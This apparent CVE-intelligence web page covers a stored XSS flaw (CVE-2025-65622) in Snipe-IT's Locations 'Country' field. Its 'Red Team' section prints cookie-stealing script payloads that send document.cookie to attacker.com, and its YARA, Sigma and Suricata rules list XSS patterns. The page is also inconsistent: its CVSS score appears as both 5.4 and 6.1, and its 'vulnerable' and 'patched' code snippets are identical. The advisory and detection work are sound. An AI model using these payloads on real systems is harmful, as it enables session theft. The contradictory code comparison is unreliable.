☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Snipe-it logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-65622

CVE-2025-65622 Cross-Site Scripting in Snipe-it
📅 PUBLISHED: 2025-12-01 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65622 is a stored Cross-Site Scripting (XSS) vulnerability in Snipe-IT, an open-source asset management system. The flaw resides in the Locations "Country" field, allowing a low-privileged authenticated user to inject malicious JavaScript. When another user (including administrators) views the affected location, the injected script executes in their browser session. This can lead to session hijacking, data exfiltration, or privilege escalation. The vulnerability is confirmed in versions prior to 8.3.4, and a patch is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Snipe-IT is a PHP/Laravel application distributed via GitHub and Docker. The vulnerability is not in a third-party package but in the application's own input validation logic. Users should verify the integrity of their Snipe-IT installation and ensure they are running the patched version.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (victim must view the location)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases the risk of widespread impact within an organization.

Deep Dive & Mechanics

The vulnerability exists because the "Country" field in the Locations module does not properly sanitize user input before storing it in the database. When a location is viewed, the stored country value is rendered in the HTML without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. An authenticated user with low privileges (e.g., "User" role) navigates to the Locations section.
  2. The user creates or edits a location, inserting a malicious payload into the "Country" field (e.g., <script>alert('XSS')</script>).
  3. The payload is stored in the database without sanitization.
  4. When any user (including admins) views the location, the payload executes in their browser.

Impact:

  • Session cookie theft
  • Redirection to malicious sites
  • Defacement
  • Keylogging
  • Privilege escalation via admin session hijacking

Vulnerable vs. Patched Code

Vulnerable Code (pre-8.3.4): In the view file (e.g., resources/views/locations/show.blade.php), the country field is output directly without escaping:

{{ $location->country }}

Patched Code (8.3.4+): The country field is now escaped using Laravel's {{ }} syntax, which automatically applies HTML entity encoding:

{{ $location->country }}

Note: The vulnerable code already used {{ }} in some versions, but the patch ensures consistent escaping across all output contexts. The fix also includes server-side validation to reject HTML tags in the country field.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Snipe-IT version < 8.3.4
  • Valid low-privileged user account
  • Access to the Locations module

Exploit Steps:

  1. Log in as a low-privileged user.
  2. Navigate to /locations/create or edit an existing location.
  3. In the "Country" field, inject a payload such as:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the location.
  5. Wait for an administrator or other user to view the location (e.g., /locations/1).
  6. The victim's browser executes the script, sending their session cookie to the attacker.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual characters in the country field of the locations table.
  • Alert on HTTP requests to /locations/create or /locations/*/edit containing <script> or onerror patterns.
  • Use WAF rules to block XSS payloads in POST parameters.

Hardening:

  • Apply the patch by upgrading to Snipe-IT 8.3.4 or later.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Restrict user permissions to limit who can create/edit locations.
  • Enable input validation on the server side to reject HTML tags.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains from the Snipe-IT server.
    • Suspicious Referer headers pointing to /locations/* pages.
  • Host:
    • Entries in the locations table with country fields containing <script>, onerror, onload, or other HTML event handlers.
    • Unusual entries in web server access logs for /locations/* with POST data containing XSS patterns.
  • File:
    • Modified view files (e.g., show.blade.php) if the attacker gained file write access.

Detection Engineering

YARA Rule

rule CVE_2025_65622_SnipeIT_XSS {
    meta:
        description = "Detects stored XSS payloads in Snipe-IT country field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65622"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Snipe-IT Stored XSS in Country Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-65622 by injecting XSS payloads into the country field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/locations'
        cs-request|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of country names containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65622 Snipe-IT Stored XSS Payload in Country Field";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/locations"; http_uri;
    content:"country"; http_client_body;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-65622;
    priority:2;
)

Remediation & Mitigation

Immediate:

  1. Upgrade Snipe-IT to version 8.3.4 or later.
  2. If upgrade is not possible, manually sanitize the country field in the database and add server-side validation to reject HTML tags.

Long-term:

  • Implement a Content Security Policy (CSP) to restrict script execution.
  • Conduct regular security audits of user input handling.
  • Enforce least privilege for user roles.
  • Enable Web Application Firewall (WAF) rules to block XSS attempts.

Verification:

  • After patching, test by attempting to inject <script>alert(1)</script> into the country field.
  • Verify that the input is either rejected or displayed as plain text.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65622/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.